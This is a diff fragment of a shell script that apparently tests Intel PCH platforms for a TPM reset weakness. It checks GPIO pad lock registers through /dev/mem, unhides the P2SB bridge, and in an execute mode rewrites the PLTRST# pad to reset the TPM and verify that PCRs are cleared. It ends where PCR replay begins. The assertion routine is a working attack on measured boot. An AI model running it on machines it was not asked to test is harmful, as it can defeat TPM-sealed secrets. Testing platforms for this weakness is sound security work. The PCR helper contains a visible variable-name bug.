+ DEBUG "Reading DW0 at $TARGET_ADDR_HEX" + if ! command -v xxd >/dev/null 2>&1; then + INFO "Missing 'xxd' command. Cannot parse binary data." + return + fi + # Read DW0 + PAD_DW0_VAL=$(dd if=/dev/mem bs=4 count=1 skip="$(( TARGET_ADDR / 4 ))" 2>/dev/null | xxd -p 2>/dev/null || true) + DEBUG "DW0 read returned: $PAD_DW0_VAL" + + if [ -z "$PAD_DW0_VAL" ] || [ "$PAD_DW0_VAL" = "0" ] || [ "$PAD_DW0_VAL" = "00000000" ]; then + DEBUG "DW0 read invalid (blocked or zero), using expected values" + INFO " Read returned: $PAD_DW0_VAL (likely invalid / blocked by kernel)" + INFO "Cannot read actual pad config. Showing expected values." + return + fi + + _orig_dw0=$(( 16#${PAD_DW0_VAL} )) + _orig_mode=$(( (_orig_dw0 >> 10) & 0x7 )) + _orig_txstate=$(( _orig_dw0 & 1 )) + _orig_txdis=$(( (_orig_dw0 >> 8) & 1 )) + _orig_rxdis=$(( (_orig_dw0 >> 9) & 1 )) + _orig_reset=$(( (_orig_dw0 >> 30) & 3 )) + DEBUG "Decoded DW0: mode=$_orig_mode tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset" + + _orig_mode_str="" + case $_orig_mode in + 0) _orig_mode_str="GPIO" ;; + 1) _orig_mode_str="NF1 (native function 1)" ;; + 2) _orig_mode_str="NF2" ;; + 3) _orig_mode_str="NF3" ;; + 4) _orig_mode_str="NF4" ;; + 5) _orig_mode_str="NF5" ;; + 6) _orig_mode_str="NF6" ;; + 7) _orig_mode_str="NF7" ;; + esac + + _orig_reset_str="" + case $_orig_reset in + 0) _orig_reset_str="PWROK" ;; + 1) _orig_reset_str="DEEP" ;; + 2) _orig_reset_str="PLTRST" ;; + 3) _orig_reset_str="RSMRST" ;; + esac + + DEBUG "mode_str=$_orig_mode_str reset_str=$_orig_reset_str" + DEBUG " DW0 register: 0x$PAD_DW0_VAL" + DEBUG " Decoded: mode=$_orig_mode ($_orig_mode_str) tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset ($_orig_reset_str)" + + if [ "$_orig_mode" = "1" ] && [ $_orig_txdis = 0 ]; then + DEBUG "Pad mode=NF1 txdis=0: correctly configured as native function output" + STATUS_OK "Pad is correctly configured as native function output." + elif [ "$_orig_mode" = "0" ]; then + DEBUG "Pad mode=GPIO: ALREADY in GPIO mode" + DEBUG "Pad is in GPIO mode -- will attempt NF1 force before asserting PLTRST#" + case "$GLOBAL_PCH" in + SPT_KBP) + INFO " Pad is in GPIO mode (not native-function PLTRST#). If the" + INFO " GPIO lock is absent, the pad can be reprogrammed to assert" + INFO " PLTRST# from userspace -- platform is VULNERABLE." ;; + CNP_LP) + INFO " Pad is in GPIO mode (not native-function PLTRST#). Mechanism" + INFO " theoretically possible but no public test data for this PCH." ;; + ADL_P|RPL_P|ADL_S|RPL_S) + INFO " Pad is currently in GPIO mode. GPIO lock is absent" + INFO " (PADCFGLOCK=0), but PLTRST# assertion is NOT confirmed" + INFO " on this PCH die. Hardware test results: mode bits [13:10]" + INFO " and TX[0] are write-ignored at PCH die level despite" + INFO " PADCFGLOCK=0." ;; + *) + INFO " Pad is in GPIO mode (not native-function PLTRST#). If the" + INFO " GPIO lock is absent, the pad can be reprogrammed to assert" + INFO " PLTRST# from userspace -- platform is VULNERABLE." ;; + esac + fi +} + +# ---- Dynamic SBREG_BAR from P2SB ------------------------------------ +# +# Attempts to read SBREG_BAR dynamically from the P2SB (Primary to Sideband) +# bridge at PCI B:D:F 00:1f.1 (device 31, function 1). +# +# The P2SB provides the base address for sideband register access (SBREG_BAR) +# that determines PCR_BASE. On most platforms this is hardcoded, but reading +# it dynamically validates the value and catches future platform changes. +# +# Strategy: +# 1. Unhide P2SB by writing 0 to BCTRL register (offset 0xE0, clear HIDE bit 0) +# 2. Read BAR0 (offset 0x10) and BAR1 (offset 0x14) +# 3. Compute 64-bit base: BAR0 | (BAR1 << 32) +# 4. Re-hide P2SB by restoring BCTRL +# 5. If MASKLOCK'd (bit 8 of BCTRL), write is ignored — fall back to hardcoded +# +# Only attempted on SPT/KBP where P2SB is NOT MASKLOCK'd per kukri. +# Returns: 0 on success with SBREG_BAR_64 set, 1 on failure. +# +# MMCFG base for PCI config space access. Try common bases. +_MMCFG_BASES="0xE0000000 0xF8000000" + +read_p2sb_sbreg_bar() { + TRACE_FUNC + + # Only attempt on platforms where P2SB is known to be unhideable + case "$GLOBAL_PCH" in + SPT_KBP) DEBUG "read_p2sb_sbreg_bar: attempting on $GLOBAL_PCH" ;; + *) DEBUG "read_p2sb_sbreg_bar: skipping (P2SB likely MASKLOCK'd on $GLOBAL_PCH)" + return 1 ;; + esac + + if [ ! -r /dev/mem ] || [ ! -w /dev/mem ]; then + DEBUG "read_p2sb_sbreg_bar: /dev/mem not r/w" + return 1 + fi + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "read_p2sb_sbreg_bar: xxd not available" + return 1 + fi + + # P2SB at PCI B:D:F 00:1f.1 + _p2sb_mmcfg_offset=$(( (31 << 15) | (1 << 12) )) # 0x10800 + + for _mmcfg_base_hex in $_MMCFG_BASES; do + _mmcfg_base=$(( $_mmcfg_base_hex )) + _p2sb_base=$(( _mmcfg_base + _p2sb_mmcfg_offset )) + + # Read vendor/device to confirm P2SB is at this MMCFG address + _vendor=$(mem_read32 "$_p2sb_base" 2>/dev/null || true) + _vendor_dec=$(( 16#${_vendor:-0000} & 0xFFFF )) + if [ "$_vendor_dec" != "0x8086" ] && [ "$_vendor_dec" != "32902" ]; then + # 0x8086 = 32902 decimal; vendor read is 0x8086 + device ID in upper 16 bits + _ven_check=$(( 16#${_vendor:-0000} & 0xFFFF )) + if [ "$_ven_check" != "32902" ]; then + DEBUG " MMCFG 0x$(printf '%x' $_mmcfg_base): vendor=0x$_vendor (not Intel), skipping" + continue + fi + fi + DEBUG " Found P2SB at MMCFG 0x$(printf '%x' $_p2sb_base)" + + # Read BCTRL at offset 0xE0 to check HIDE and MASKLOCK + _bctrl_addr=$(( _p2sb_base + 0xE0 )) + _bctrl=$(mem_read32 "$_bctrl_addr" 2>/dev/null || true) + _bctrl_dec=$(( 16#${_bctrl:-00000000} )) + _hide=$(( _bctrl_dec & 1 )) + _masklock=$(( (_bctrl_dec >> 8) & 1 )) + DEBUG " BCTRL at 0x$(printf '%x' $_bctrl_addr): 0x$_bctrl (HIDE=$_hide MASKLOCK=$_masklock)" + + # Save original BCTRL, clear HIDE bit to unhide P2SB + _orig_bctrl=$_bctrl_dec + _unhide_val=$(( _bctrl_dec & ~1 )) + mem_write32 "$_bctrl_addr" "$_unhide_val" + + # Re-read BCTRL to check if write took effect (not MASKLOCK'd) + _bctrl2=$(mem_read32 "$_bctrl_addr" 2>/dev/null || true) + _bctrl2_dec=$(( 16#${_bctrl2:-00000000} )) + if [ "$_bctrl2_dec" = "$_bctrl_dec" ]; then + DEBUG " P2SB unhide write ignored (MASKLOCK'd or read-only)" + return 1 + fi + DEBUG " P2SB unhidden successfully" + + # Read BAR0 and BAR1 + _bar0_addr=$(( _p2sb_base + 0x10 )) + _bar0=$(mem_read32 "$_bar0_addr" 2>/dev/null || true) + _bar1_addr=$(( _p2sb_base + 0x14 )) + _bar1=$(mem_read32 "$_bar1_addr" 2>/dev/null || true) + _bar0_dec=$(( 16#${_bar0:-00000000} )) + _bar1_dec=$(( 16#${_bar1:-00000000} )) + DEBUG " SBREG_BAR: BAR0=0x$_bar0 BAR1=0x$_bar1" + + # Re-hide P2SB + mem_write32 "$_bctrl_addr" "$_orig_bctrl" + DEBUG " P2SB re-hidden" + + # Compute 64-bit base (strip lower bits as per PCI BAR encoding) + SBREG_BAR_64=$(( (_bar1_dec << 32) | (_bar0_dec & 0xFFFFFFF0) )) + DEBUG " SBREG_BAR_64=0x$(printf '%llx' $SBREG_BAR_64 2>/dev/null || printf '0x%x%08x' $((SBREG_BAR_64 >> 32)) $((SBREG_BAR_64 & 0xFFFFFFFF)))" + + # Verify it's a reasonable PCR_BASE (must be >= 0xE0000000 and page-aligned) + _hi32=$(( SBREG_BAR_64 >> 32 )) + if [ "$_hi32" != "0" ]; then + DEBUG " SBREG_BAR above 4GB: hi32=$_hi32" + fi + _lo32=$(( SBREG_BAR_64 & 0xFFFFFFFF )) + if [ $(( _lo32 & 0xFFFFF )) -eq 0 ] && [ $(( _lo32 >> 28 )) -ge 14 ]; then + DEBUG " SBREG_BAR verified as valid sideband register base" + # Use 32-bit portion for PCR_BASE + PCR_BASE=$_lo32 + DEBUG " PCR_BASE set from SBREG_BAR: 0x$(printf '%x' $PCR_BASE)" + return 0 + fi + DEBUG " SBREG_BAR hi32=$_hi32 lo32=0x$(printf '%x' $_lo32) looks invalid, using hardcoded" + done + + return 1 +} + +# ---- Platform parameter helpers -------------------------------------- +# +# Returns the PADCFGLOCK base offset for the current platform. +# This mapping is the single source of truth -- all callers use this +# instead of duplicating the case statement. +_get_lock_base() { + case "$GLOBAL_PCH" in + ADL_P) echo 0x80 ;; + RPL_P) echo 0x110 ;; + ADL_S|RPL_S) echo 0x110 ;; + SPT_KBP|CML_DT) echo 0xA8 ;; + TGL) echo 0x80 ;; + CML_U) echo 0x88 ;; + CFL_S) echo 0x88 ;; + ARL_S) echo 0x120 ;; + CNP_LP) echo 0x80 ;; + *) echo 0x80 ;; + esac +} + +# Returns the bus pin community port for the current platform. +_get_bus_community_port() { + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) echo 0xaf ;; + ADL_P|RPL_P|TGL|CML_U|CFL_S|CNP_LP) echo 0x6e ;; + ADL_S|RPL_S|ARL_S) echo 0x6d ;; + *) echo "" ;; + esac +} + +# Returns the bus pin lock base offset for the current platform. +_get_bus_lock_base() { + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) echo 0xa0 ;; + TGL|ADL_P|RPL_P) echo 0x80 ;; + CML_U|CFL_S) echo 0x88 ;; + ADL_S|RPL_S) echo 0x110 ;; + ARL_S) echo 0x120 ;; + CNP_LP) echo 0x80 ;; + *) echo 0x80 ;; + esac +} + +# ---- eSPI vs LPC auto-detection -------------------------------------- +# +# Reads the eSPI configuration register via PCR to determine whether the +# PCH is running in eSPI mode (GPP_A1-A4 = IO0-3) or LPC mode +# (GPP_A1-A6 = LAD0-3, LFRAME#, SERIRQ). +# +# Reference: kukri detect/detect.c and Intel doc 834810. +# PCR port 0xC7, offset 0x3418, bit 1 (eSPI_En) when set → eSPI mode. +# +# Returns: 0 if eSPI, 1 if LPC, 127 if detection unavailable + +auto_detect_espi_mode() { + TRACE_FUNC + _espi_port=0xC7 + _espi_offset=0x3418 + _espi_comm_base=$(( PCR_BASE + (_espi_port << 16) )) + _espi_addr=$(( _espi_comm_base + _espi_offset )) + + if [ ! -r /dev/mem ]; then + DEBUG "auto_detect_espi_mode: /dev/mem not readable" + return 127 + fi + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "auto_detect_espi_mode: xxd not available" + return 127 + fi + + _espi_val=$(mem_read32 "$_espi_addr" 2>/dev/null || true) + if [ -z "$_espi_val" ] || [ "$_espi_val" = "00000000" ]; then + DEBUG "auto_detect_espi_mode: read failed or zero at 0x$(printf '%x' $_espi_addr)" + return 127 + fi + _espi_dec=$(( 16#$_espi_val )) + _espi_en=$(( (_espi_dec >> 1) & 1 )) + DEBUG "auto_detect_espi_mode: PCR 0xC7:0x3418 = 0x$_espi_val, eSPI_En bit = $_espi_en" + if [ "$_espi_en" = "1" ]; then + return 0 + else + return 1 + fi +} + +# ---- Bus pin lock checking (kukri detect utility) -------------------- +# +# Checks PADCFGLOCK for LPC/eSPI bus pins (GPP_A group) that should be +# locked by firmware to prevent bus-level manipulation. +# +# Architecture-dependent set of pins checked: +# LPC platforms (SPT/KBP, CNP-LP): GPP_A1-A6 (LAD0-3, LFRAME#, SERIRQ, +# CLKRUN#), GPP_A8, GPP_A9 +# eSPI platforms (ADL-P, ADL-S, RPL-P, RPL-S): GPP_A1-A4 (IO0-3), +# GPP_A14 (ESPI_RESET#) +# +# Reference: kukri detect/detect.c + +check_bus_pin_locks() { + TRACE_FUNC + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + return + fi + + if [ ! -r /dev/mem ]; then + DEBUG "check_bus_pin_locks: /dev/mem not readable, skipping" + return + fi + + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "check_bus_pin_locks: xxd not available, skipping" + return + fi + + # Platform-specific bus pin community port and PADCFGLOCK offset + # from consolidated helpers: + _bus_community_port=$(_get_bus_community_port 2>/dev/null || echo "") + if [ -z "$_bus_community_port" ]; then + DEBUG "check_bus_pin_locks: no bus pin config for $GLOBAL_PCH" + return + fi + _bus_lock_base=$(_get_bus_lock_base 2>/dev/null || echo 0x80) + _is_espi="n" # default fallback, overridden by auto-detection below + + # Attempt auto-detection of eSPI vs LPC mode. Overrides hardcoded + # _is_espi if the PCR register is readable. + if auto_detect_espi_mode; then + _is_espi="y" + DEBUG "check_bus_pin_locks: auto-detected eSPI mode" + elif [ $? -eq 1 ]; then + _is_espi="n" + DEBUG "check_bus_pin_locks: auto-detected LPC mode" + fi + + _bus_community_base=$(( PCR_BASE + (_bus_community_port << 16) )) + + # LPC bus: GPP_A1-A6 (LAD0-3,LFRAME#,SERIRQ,CLKRUN#), GPP_A8 (CLKRUN#), GPP_A9 (CLKOUT_LPC0) + # eSPI bus: GPP_A1-A4 (IO0-3), GPP_A5 (ESPI_CS#), GPP_A9 (ESPI_CLK), GPP_A14 (ESPI_RESET#) + # Local pads are relative to GROUP_A0 which is pad 0 within the community + # (FIRST_PAD=0 on all supported platforms). + # PADCFGLOCK dword covers 32 pads. All bus pins are in dword 0 (pads 0-31). + if [ "$_is_espi" = "y" ]; then + _bus_pads="1 2 3 4 5 9 14" + _bus_signals="IO0 IO1 IO2 IO3 ESPI_CS# ESPI_CLK ESPI_RESET#" + else + _bus_pads="1 2 3 4 5 6 8 9" + _bus_signals="LAD0 LAD1 LAD2 LAD3 LFRAME# SERIRQ CLKRUN# CLKOUT_LPC0" + fi + + # Convert space-separated strings to arrays for parallel iteration + _bus_pad_list=($_bus_pads) + _bus_sig_list=($_bus_signals) + + # Read the PADCFGLOCK dword (all bus pins are in dword 0) + _lock_addr=$(( _bus_community_base + _bus_lock_base )) + _lock_val=$(mem_read32 "$_lock_addr" 2>/dev/null || true) + + # Read PADCFGLOCKTX (TX state lock at +4) + _locktx_addr=$(( _lock_addr + 4 )) + _locktx_val=$(mem_read32 "$_locktx_addr" 2>/dev/null || true) + + if [ -z "$_lock_val" ] || [ "$_lock_val" = "00000000" ]; then + DEBUG " PADCFGLOCK at 0x$(printf '%x' $_lock_addr): 0x$_lock_val" + # Zero is valid: could mean all pins unlocked, or read failed. + # Check if /dev/mem read actually succeeded by testing a known + # readable register (PCR_BASE). + _test_read=$(dd if=/dev/mem bs=4 count=1 skip=$(( PCR_BASE / 4 )) 2>/dev/null | xxd -p | tr -d '\n ') + if [ -z "$_test_read" ] || [ "$_test_read" = "00000000" ]; then + DEBUG " bus pin lock read invalid (PCR_BASE read also zero); skipping" + return + fi + fi + _lock_dec=$(( 16#$_lock_val )) + _locktx_dec=$(( 16#${_locktx_val:-00000000} )) + + BUS_LOCKED_COUNT=0 + BUS_TOTAL_COUNT=${#_bus_pad_list[@]} + + STATUS " Bus pin lock status (LPC/eSPI) -- CFG/TX:" + + _idx=0 + while [ $_idx -lt ${#_bus_pad_list[@]} ]; do + _pad=${_bus_pad_list[$_idx]} + _sig=${_bus_sig_list[$_idx]} + _bit=$(( _pad % 32 )) + + _cfg_locked="UNLOCKED" + _tx_locked="UNLOCKED" + if [ $(( _lock_dec & (1 << _bit) )) -ne 0 ]; then + _cfg_locked="LOCKED" + BUS_LOCKED_COUNT=$(( BUS_LOCKED_COUNT + 1 )) + fi + if [ $(( _locktx_dec & (1 << _bit) )) -ne 0 ]; then + _tx_locked="LOCKED" + fi + _lock_status="UNLOCKED" + _status_level="INFO" + if [ "$_cfg_locked" = "LOCKED" ] || [ "$_tx_locked" = "LOCKED" ]; then + _lock_status="LOCKED" + _status_level="WARN" + fi + # Report combined status + "$_status_level" " GPP_A$_pad ($_sig): $_lock_status (CFG=$_cfg_locked / TX=$_tx_locked)" + _idx=$(( _idx + 1 )) + done + + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked (CFG), TX state lock status shown per-pin" +} + +# ---- Assert PLTRST# via GPIO pad manipulation ------------------------ +# +# Sub-functions split from perform_tpm_gpio_reset() for readability. + +# Check PADCFGLOCK and PADCFGLOCKTX registers before asserting PLTRST# +check_lock_registers() { + TRACE_FUNC + DEBUG "check_lock_registers: PAD_OFFSET=$PAD_OFFSET" + _lock_base=$(_get_lock_base 2>/dev/null || echo 0x80) + DEBUG " _lock_base from helper: 0x$(printf '%x' $_lock_base)" + _lock_reg_idx=$(( PAD_OFFSET / 32 )) + _lock_offset=$(( _lock_base + (_lock_reg_idx * PADCFGLOCK_STRIDE) )) + _lock_addr=$(( COMMUNITY_BASE + _lock_offset )) + _lock_val=$(mem_read32 "$_lock_addr" 2>/dev/null || true) + if [ -n "$_lock_val" ]; then + _lock_dec=$(( 16#$_lock_val )) + _lock_bit=$(( 1 << (PAD_OFFSET % 32) )) + DEBUG "PADCFGLOCK at 0x$(printf '%x' $_lock_addr): 0x$_lock_val (local pad=$PAD_OFFSET, reg=$_lock_reg_idx, bit=$(( PAD_OFFSET % 32 )))" + if [ $(( _lock_dec & _lock_bit )) -ne 0 ]; then + WARN " PLTRST pad is LOCKED (PADCFGLOCK dword $_lock_reg_idx bit $(( PAD_OFFSET % 32 )) set)" + WARN " Writes to PAD_CFG registers will be silently ignored." + else + DEBUG " PLTRST pad NOT locked -- writes should work" + fi + else + DEBUG " Could not read PADCFGLOCK register" + fi + + # Check PADCFGLOCKTX (TX state lock at the same dword offset + 4) + _locktx_offset=$(( _lock_offset + 4 )) + _locktx_addr=$(( COMMUNITY_BASE + _locktx_offset )) + _locktx_val=$(mem_read32 "$_locktx_addr" 2>/dev/null || true) + if [ -n "$_locktx_val" ]; then + _locktx_dec=$(( 16#$_locktx_val )) + DEBUG "PADCFGLOCKTX at 0x$(printf '%x' $_locktx_addr): 0x$_locktx_val (bit $(( PAD_OFFSET % 32 )))" + if [ $(( _locktx_dec & _lock_bit )) -ne 0 ]; then + DEBUG " TX state is LOCKED (PADCFGLOCKTX bit $(( PAD_OFFSET % 32 )) set)" + fi + else + DEBUG " Could not read PADCFGLOCKTX register" + fi +} + +# Shutdown TPM and save pad configuration before assert +pre_assertion_setup() { + TRACE_FUNC + if command -v tpmr.sh >/dev/null 2>&1; then + INFO " Shutting down TPM before PLTRST# assertion (tpmr.sh shutdown)..." + tpmr.sh shutdown || WARN "tpmr.sh shutdown failed; continuing" + else + DEBUG " tpmr.sh not available; skipping TPM shutdown" + fi + INFO " Saving current PLTRST# pad configuration..." + _dw0=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _dw1=$(mem_read32 "$((TARGET_ADDR + 4))" 2>/dev/null) + if [ -z "$_dw0" ]; then + DIE "Failed to read pad configuration at $TARGET_ADDR_HEX" + fi + _dw0_val=$(( 16#$_dw0 )) + _dw1_val=$(( 16#$_dw1 )) + _cur_mode=$(( (_dw0_val >> 10) & 0x7 )) + _cur_tx=$(( _dw0_val & 1 )) + _cur_hostsw=$(( (_dw0_val >> 14) & 1 )) + _cur_rstcfg=$(( (_dw0_val >> 30) & 3 )) + _cur_txdis=$(( (_dw0_val >> 8) & 1 )) + DEBUG " Saved DW0=0x$_dw0 DW1=0x$_dw1" + DEBUG " DW0 decode: raw=0x$(printf '%08x' $_dw0_val) mode=$_cur_mode TX=$_cur_tx TX_DIS=$_cur_txdis HOSTSW=$_cur_hostsw RSTCFG=$_cur_rstcfg" + STATUS_OK "Saved PLTRST# pad config: DW0=0x$_dw0, DW1=0x$_dw1" +} + +# Assert PLTRST# via GPIO pad toggle +assert_pltrst() { + TRACE_FUNC + # If pad is in GPIO mode and NF1 switch failed, try TX toggle + if [ "$_cur_mode" = "0" ]; then + DEBUG " pad in GPIO mode (HOSTSW_OWN=$_cur_hostsw); forcing NF1 first" + _nf1_val=$(( 0x40000000 | (1 << 10) | 1 )) + DEBUG " writing NF1: 0x$(printf '%08x' $_nf1_val)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + _nf1_rb=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _nf1_rb_mode=$(( ((16#$_nf1_rb) >> 10) & 0x7 )) + DEBUG " NF1 readback: 0x$_nf1_rb mode=$_nf1_rb_mode" + if [ "$_nf1_rb_mode" != "1" ]; then + DEBUG " NF1 mode switch FAILED (mode=$_nf1_rb_mode); mode bits hardware-locked" + INFO " NF1 mode locked -- trying TX toggle instead" + fi + fi + + if [ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ]; then + DEBUG " TX toggle: writing 0x80000001 (TX=high)..." + mem_write32 "$TARGET_ADDR" "0x80000001" + _tx1_rb=$(mem_read32 "$TARGET_ADDR") + _tx1_tx=$(( 16#$_tx1_rb & 1 )) + DEBUG " TX=1 readback: 0x$_tx1_rb TX=$_tx1_tx" + sleep 0.1 + DEBUG " TX toggle: writing $GPIO_ASSERT_VALUE (TX=low)..." + mem_write32 "$TARGET_ADDR" "$GPIO_ASSERT_VALUE" + else + DEBUG " kukrimate: writing $GPIO_ASSERT_VALUE (GPIO+TX=0)..." + mem_write32 "$TARGET_ADDR" "$GPIO_ASSERT_VALUE" + fi + _readback=$(mem_read32 "$TARGET_ADDR") + _rb_mode=$(( ((16#$_readback) >> 10) & 0x7 )) + _rb_tx=$(( 16#$_readback & 1 )) + DEBUG " assert write readback: 0x$_readback mode=$_rb_mode TX=$_rb_tx" + INFO " PLTRST# asserted ($([ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ] && echo 'TX toggle' || echo 'kukrimate'))" + + INFO " Writing 0x00000000 to DW1..." + mem_write32 "$((TARGET_ADDR + 4))" "0x00000000" + _readback2=$(mem_read32 "$((TARGET_ADDR + 4))") + DEBUG " DW1 readback: 0x$_readback2" + + # Wait with PLTRST# asserted + INFO " Waiting 1 second with PLTRST# asserted..." + sleep 1 + + # Deassert PLTRST# + if [ "$_cur_mode" = "0" ]; then + DEBUG " deasserting PLTRST# via NF1 (original mode was GPIO+TX=0)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + else + INFO " Restoring original pad config (deasserts PLTRST#)..." + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + # Wait for TPM to reinitialize + INFO " Waiting 1s for TPM to reinitialize after PLTRST# deassert..." + sleep 1 +} + +# Recreate TPM sessions and verify bus reset +post_assertion_cleanup() { + TRACE_FUNC + INFO " Starting TPM after PLTRST# assertion (tpm2 startup -c)..." + if command -v tpm2 >/dev/null 2>&1; then + _startup_out=$(tpm2 startup -c 2>&1) + if [ $? -eq 0 ]; then + STATUS_OK "TPM startup complete (NVRAM preserved)" + else + DEBUG "tpm2 startup -c failed: $_startup_out" + fi + else + DEBUG "tpm2 not available; TPM may need startup via kernel" + fi + + INFO " Recreating TPM encrypted sessions (tpmr.sh startsession)..." + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh startsession 2>/dev/null; then + STATUS_OK "TPM sessions recreated (NVRAM preserved)" + else + WARN " Could not recreate TPM sessions. Unseal will fail." + fi + else + DEBUG "tpmr.sh not available; cannot recreate sessions" + fi + + # Verify PLTRST# bus reset vs software-only startup + if [ -r /sys/class/tpm/tpm0/pcrs ]; then + STATUS_OK "PLTRST# assertion CONFIRMED -- bus reset detected by kernel TPM driver." + _pcr0_line=$(grep '^PCR-00' /sys/class/tpm/tpm0/pcrs 2>/dev/null | tail -1) + DEBUG " sysfs PCR-00: $_pcr0_line" + _pcr0_val=$(echo "$_pcr0_line" | awk -F': ' '{print $2}' | tr -d ' ') + DEBUG " PCR 0: $_pcr0_val" + if [ -n "$_pcr0_val" ]; then + STATUS_OK "TPM is responsive (PCR 0 readable via sysfs)" + else + WARN "Cannot read PCR 0 via sysfs -- TPM not responsive." + fi + else + DEBUG " /sys/class/tpm/tpm0/pcrs NOT FOUND" + STATUS " PLTRST# assertion NOT confirmed -- no bus reset detected." + INFO " PCR clearing is from software TPM2_Startup(CLEAR) only, not" + INFO " from PLTRST#. Platform may not be susceptible to this attack vector." + GPIO_FAILED="y" + fi + + # Restore original pad config (cleanup, safe after TPM startup) + if [ "$_cur_mode" = "0" ]; then + DEBUG " restoring original GPIO config (cleanup after TPM startup)" + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + if [ "$GPIO_FAILED" = "y" ]; then + INFO " TPM GPIO reset via $MECHANISM: procedure complete -- PLTRST# NOT confirmed" + else + INFO " TPM GPIO reset via $MECHANISM: COMPLETE" + fi +} + +perform_tpm_gpio_reset() { + TRACE_FUNC + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + section "4. TPM GPIO ASSERTION (assert PLTRST# via PCH pad)" + DEBUG "Platform unknown, cannot assert PLTRST#" + INFO "Platform unknown; cannot assert PLTRST#." + return + fi + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "4. TPM GPIO ASSERTION (assert PLTRST# via PCH pad)" + + if [ ! -w /dev/mem ]; then + DEBUG "/dev/mem not writable" + DIE "/dev/mem is not writable. Cannot assert PLTRST#." + fi + + DEBUG "PLTRST# assertion mechanism: $MECHANISM" + DEBUG "Target address: $TARGET_ADDR_HEX" + + # Lock register check (PADCFGLOCK + PADCFGLOCKTX) + check_lock_registers + + # Shutdown TPM and save configuration + pre_assertion_setup + + # Assert PLTRST# via GPIO toggle + assert_pltrst + + # Post-assertion: TPM startup, session recreation, bus reset check + post_assertion_cleanup + + # --- DW1 manipulation test (experimental diagnostics) --- + # Tests DW1 write behavior. Gated behind DEBUG_MODE. + if [ "$DEBUG_MODE" = "y" ]; then + DEBUG "DW1 manipulation test:" + for _dw1_test_val in 0x00000000 0xFFFFFFFF; do + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_test_val" + _dw1_rb=$(mem_read32 "$((TARGET_ADDR + 4))") + _dw1_rb_dec=$(( 16#$_dw1_rb )) + _match=$(( _dw1_test_val == _dw1_rb_dec ? 1 : 0 )) + DEBUG " DW1 write 0x$(printf '%08x' $_dw1_test_val) -> readback 0x$_dw1_rb (match=$_match)" + done + mem_write32 "$((TARGET_ADDR + 4))" "0x$(printf '%08x' $_dw1_val)" + DEBUG " DW1 restored to 0x$(printf '%08x' $_dw1_val)" + fi + + # --- DW1 effect test (experimental diagnostics) --- + if [ "$DEBUG_MODE" = "y" ]; then + DEBUG " DW1 effect test: writing 0x00000000 to DW1 (DW0 unchanged)..." + mem_write32 "$((TARGET_ADDR + 4))" "0x00000000" + sleep 1 + _orig_dw1_hex=$(printf '0x%08x' $_dw1_val) + mem_write32 "$((TARGET_ADDR + 4))" "$_orig_dw1_hex" + DEBUG " DW1 restored to $_orig_dw1_hex" + fi +} + +# ---- Read all PCRs (single-PCR reads to avoid hang) ------------------- +# +# After GPIO assertion, tpm2 pcrread sha256 (all PCRs) hangs. +# Single-PCR reads work. This helper reads PCRs 0-7 and writes them +# to the specified output file (or stdout if no file specified). +# Usage: read_all_pcrs [output_file] + +read_all_pcrs() { + TRACE_FUNC + _outfile="${1:-/dev/stdout}" + _pcr_data="" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + _pcr_line=$(tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1) + _pcr_data="$PCR_DATA +$_pcr_line" + done + _pcr_data="${_pcr_data# +}" + if [ "$_outfile" = "/dev/stdout" ]; then + echo "$_pcr_data" + else + echo "$_pcr_data" > "$_outfile" + DEBUG "PCR data written to $_outfile" + fi + echo "$_pcr_data" +} + +# ---- Verify reset by reading PCRs ------------------------------------- + +verify_pcrs() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "5. PCR VERIFICATION" + + # Use single-PCR reads via tpm2 pcrread sha256:N. + # tpm2 pcrread sha256 (all PCRs) hangs after GPIO assertion; + # single-PCR reads work. pcrs() calls the all-PCR path. + INFO " Reading post-assertion PCR state (single-PCR reads)..." + POST_RESET_PCRS="" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + _pcr_line=$(tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1) + POST_RESET_PCRS="$POST_RESET_PCRS +$_pcr_line" + done + POST_RESET_PCRS="${POST_RESET_PCRS# +}" + if [ -z "$POST_RESET_PCRS" ]; then + WARN " Could not read PCR values" + return + fi + STATUS_OK "Post-assertion PCR state captured" + + # Check if PCR 2 changed (should be zero after PLTRST# pulse) + _pcr2_val=$(echo "$POST_RESET_PCRS" | grep -E '^\s*2\s*:' | awk '{print $3}') + DEBUG " PCR 2 value: $_pcr2_val" + if [ -z "$_pcr2_val" ] || [ "$_pcr2_val" = "0x0000000000000000000000000000000000000000000000000000000000000000" ]; then + STATUS_OK "PCR 2 is zero -- TPM was cleared" + else + WARN " PCR 2 is non-zero -- PLTRST# assertion may not have cleared TPM" + DEBUG " PCR 2 value: $_pcr2_val" + fi + + # Show PCR state in debug log + DEBUG "Post-assertion PCR state:" + DEBUG "$POST_RESET_PCRS" +} + +# ---- Replay PCR measurements via tpmr.sh infrastructure ---------------- +# +# PCR 2: cbmem -L parsed via 